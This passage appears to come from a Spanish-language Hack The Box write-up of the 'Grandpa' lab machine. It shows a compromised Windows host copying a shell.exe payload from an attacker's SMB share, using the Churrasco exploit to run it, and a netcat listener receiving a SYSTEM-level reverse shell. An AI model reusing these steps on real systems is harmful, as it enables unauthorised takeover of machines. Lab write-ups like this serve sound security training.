[*] Remaining connections []
copy \\10.10.14.4\smbFolder\shell.exe shell.exe[*] Incoming connection (10.10.10.14,1043)

3) Descargamos el payload en el directorio C:\WINDOWS\Temp del equipo comprometido, luego en Kali levantamos el listener y ejecutamos el shell.exe haciendo uso del exploit churrasco.exe

C:\WINDOWS\Temp>copy \\10.10.14.4\smbFolder\shell.exe shell.exe
copy \\10.10.14.4\smbFolder\shell.exe
        1 file(s) copied.

C:\WINDOWS\Temp>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FDCB-B9EF

 Directory of C:\WINDOWS\Temp

06/19/2025  06:25 AM    <DIR>          .
06/19/2025  06:25 AM    <DIR>          ..
06/19/2025  06:12 AM            31,232 churrasco.exe
06/19/2025  06:33 AM            73,802 shell.exe
02/18/2007  03:00 PM            22,752 UPD55.tmp
12/24/2017  08:19 PM    <DIR>          vmware-SYSTEM
06/19/2025  06:01 AM            22,554 vmware-vmsvc.log
09/16/2021  01:15 PM             5,826 vmware-vmusr.log
06/19/2025  06:04 AM               637 vmware-vmvss.log
               6 File(s)        156,803 bytes
               3 Dir(s)   1,317,265,408 bytes free

C:\WINDOWS\Temp>.\churrasco.exe "shell.exe"
churrasco.exe "shell.exe"

Bingo! ( ͡• ͜ʖ ͡•)

┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# nc -lvnp 4444                                                                          
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.14] 1045
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\TEMP>whoami
whoami
nt authority\system

Last updated